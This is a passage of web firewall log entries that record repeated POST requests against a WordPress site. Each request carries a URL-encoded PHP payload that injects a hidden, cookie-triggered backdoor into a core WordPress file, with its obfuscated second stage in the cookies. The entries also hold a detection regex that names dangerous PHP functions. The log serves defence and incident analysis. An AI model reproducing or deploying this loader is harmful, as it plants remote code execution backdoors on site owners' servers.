tent%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:51:15","57.128.189.50","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF04vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4414\n\nKN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:51:19","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFx4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4414\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\n\nJN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:51:52","185.176.9.68","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> st:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4414\n\nst=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
